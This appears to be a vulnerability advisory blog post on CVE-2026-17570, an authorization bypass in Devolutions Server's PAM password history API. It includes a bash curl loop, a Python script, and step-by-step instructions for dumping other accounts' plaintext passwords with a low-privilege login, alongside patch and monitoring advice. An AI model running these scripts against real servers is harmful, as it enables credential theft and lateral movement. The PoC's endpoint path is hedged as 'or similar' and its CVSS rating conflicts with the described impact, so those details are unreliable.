Listen to this Post
CVE-2026-17570 is an improper access control vulnerability affecting the PAM (Privileged Access Management) password history endpoints in Devolutions Server. The flaw resides in how the application handles authorization checks when low‑privileged users request password history data via the REST API.
Under normal operation, the PAM password history feature stores previous passwords for managed accounts, allowing administrators to audit and review credential changes. Each password history entry is associated with a specific resource and should only be accessible to users with sufficient permissions (e.g., vault owners or administrators). However, the affected endpoints do not properly validate whether the requesting user has the right to view the history for a given account.
An authenticated attacker with minimal privileges – such as a standard vault member or a user with view‑only access – can craft API requests that reference internal identifiers (e.g., account IDs, history entry IDs) that they are not authorized to access. Due to the missing or flawed permission checks, the server processes these requests and returns the full password history entries, including the plaintext credentials.
The vulnerability is rooted in CWE‑639 (Authorization Bypass Through User‑Controlled Key), as the application trusts user‑supplied identifiers without verifying the requester’s relationship to the target resource. This is exacerbated by the fact that the PAM password history endpoints do not enforce proper role‑based access control (RBAC) or object‑level security.
Attackers can exploit this issue by enumerating account IDs (which are often sequential or predictable) and then submitting GET or POST requests to endpoints such as `/api/pam/passwordhistory/{accountId}` or similar. The server responds with JSON objects containing the historical passwords in plaintext, bypassing any encryption or redaction that should be applied for non‑privileged users.
The impact is significant because password histories often contain credentials that are still valid or that follow predictable patterns, enabling attackers to reuse them for lateral movement or privilege escalation. The vulnerability is remotely exploitable over the network, requires low attack complexity, and does not need user interaction.
Devolutions Server versions 2026.2.4.0 through 2026.2.12.0, as well as all versions 2026.1.23.0 and earlier, are affected. The vendor released fixed versions 2026.1.24.0 and 2026.2.14.0 on the same day the advisory was published. Administrators are strongly urged to upgrade immediately, as no workarounds are officially provided.
DailyCVE Form:
Platform: Devolutions Server
Version: 2026.2.4.0‑2026.2.12.0 / ≤2026.1.23.0
Vulnerability: PAM password history info disclosure
Severity: 4.3 MEDIUM
date: 2026‑07‑27
Prediction: 2026‑07‑27 (patch released)
What Undercode Say:
Analytics:
- CVSS v3.1: AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N (4.3 Medium)
- CWE‑639: Authorization Bypass Through User‑Controlled Key
- Affected endpoints: `/api/pam/passwordhistory/`
– Attack vector: Network, low complexity, authenticated low‑privileged user - No user interaction required; confidentiality impact is low (partial disclosure)
- Vendor advisory: DEVO‑2026‑0026, published 2026‑07‑27
- Fixed in: 2026.1.24.0 and 2026.2.14.0
- Public exploit: None known at time of writing, but PoC is trivial
Bash commands to check version:
Check installed Devolutions Server version via PowerShell (Windows)
Get-WmiObject -Class Win32_Product | Where-Object { $_.Name -like "Devolutions Server" } | Select-Object Version
Or check the version from the web interface (replace with your server URL)
curl -s -k -u "lowprivuser:pass" "https://devolutions-server/api/system/version"
Proof‑of‑concept curl exploitation:
Enumerate account IDs (example: brute‑force from 1 to 1000)
for id in {1..1000}; do
curl -s -k -u "lowprivuser:pass" \
"https://devolutions-server/api/pam/passwordhistory/$id" \
-H "Accept: application/json"
done | jq '.'
Python script to dump password histories:
import requests
import sys
session = requests.Session()
session.auth = ('lowprivuser', 'password')
session.verify = False
base_url = "https://devolutions-server"
for acct_id in range(1, 1001):
resp = session.get(f"{base_url}/api/pam/passwordhistory/{acct_id}")
if resp.status_code == 200:
data = resp.json()
if data.get('history'):
print(f"Account {acct_id}: {data['history']}")
Exploit:
- Authenticate to Devolutions Server as a low‑privileged user (e.g., via basic auth or session cookie).
- Enumerate valid account IDs by iterating over numeric IDs or by guessing common patterns.
- For each ID, send a GET request to the password history endpoint (e.g.,
/api/pam/passwordhistory/{id}). - Parse the JSON response to extract plaintext passwords from the history array.
- Use the disclosed credentials to access other systems or escalate privileges within the PAM environment.
Protection:
- Upgrade to Devolutions Server 2026.1.24.0 or 2026.2.14.0 (or later) immediately.
- If upgrade is not possible, restrict network access to the PAM API endpoints using firewalls or WAF rules.
- Monitor API logs for anomalous GET requests to `/api/pam/passwordhistory/` from non‑administrative users.
- Implement additional authentication layers (e.g., MFA) for all API calls, though this does not directly mitigate the authorization bypass.
- Review and minimize the number of low‑privileged users who have any access to the PAM module.
Impact:
- An authenticated low‑privileged attacker can obtain plaintext credentials of managed accounts.
- Disclosed credentials may grant access to critical systems, databases, or applications, leading to lateral movement and privilege escalation.
- The confidentiality of sensitive information is compromised, potentially violating compliance requirements (e.g., PCI‑DSS, GDPR).
- Although the CVSS score is 4.3 (Medium), the real‑world impact can be severe if the exposed passwords are reused or grant high‑level access.
- No integrity or availability impact is directly caused, but subsequent attacks can leverage the stolen credentials to cause further damage.
🎯Let’s Practice Exploiting & Learn Patching For Free:
🎓 Live Courses & Certifications:
Join Undercode Academy for Verified Certifications
🚀 Request a Custom Project:
Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands
Sources:
Reported By: nvd.nist.gov
Extra Source Hub:
Undercode
